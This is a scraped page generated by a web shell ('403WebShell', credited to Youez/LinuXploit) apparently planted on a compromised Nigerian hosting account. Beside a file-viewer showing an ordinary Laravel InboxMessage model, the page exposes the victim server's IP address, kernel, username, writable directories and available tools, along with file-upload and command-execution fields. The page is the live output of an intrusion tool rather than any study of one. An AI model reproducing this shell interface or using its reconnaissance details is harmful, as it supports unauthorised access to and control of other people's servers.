Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.12.34.96
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Core/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Core/Models/InboxMessage.php
<?php
/**
 * Created by PhpStorm.
 * User: h2 gaming
 * Date: 8/9/2019
 * Time: 11:56 PM
 */

namespace Modules\Core\Models;

use App\BaseModel;
use Illuminate\Support\Facades\Auth;

class InboxMessage extends BaseModel
{
    protected $table = 'core_inbox_messages';

    protected $fillable = ['from_user', 'to_user', 'content', 'inbox_id'];

    public function save(array $options = [])
    {
        $isInsert = $this->id == false ? true : false;

        $res =  parent::save($options); // TODO: Change the autogenerated stub

        if ($res && $isInsert) {
            $noti = new Notification();
            $noti->fillByAttr(['from_user', 'to_user', 'is_read', 'type', 'type_group', 'target_id','target_parent_id'], [
                'from_user'  => $this->from_user,
                'to_user'    => $this->to_user,
                'is_read'    => 0,
                'type'       => 'create',
                'type_group' => 'inbox',
                'target_id'  => $this->id,
                'target_parent_id'=>$this->inbox_id,
            ]);
            $noti->save();
        }

        return $res;
    }

    public function getLastUpdatedTextAttribute(){
        return human_time_diff_short(strtotime($this->created_at));
    }

    public function jsData(){
        return [
            "id"=>$this->id,
            "content" => $this->content,
            'last_updated_text'=>$this->last_updated_text,
            'created_at'=>strtotime($this->created_at),
            "me"=>Auth::id() == $this->from_user ? true : false,
            'is_read'=>$this->is_read
        ];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit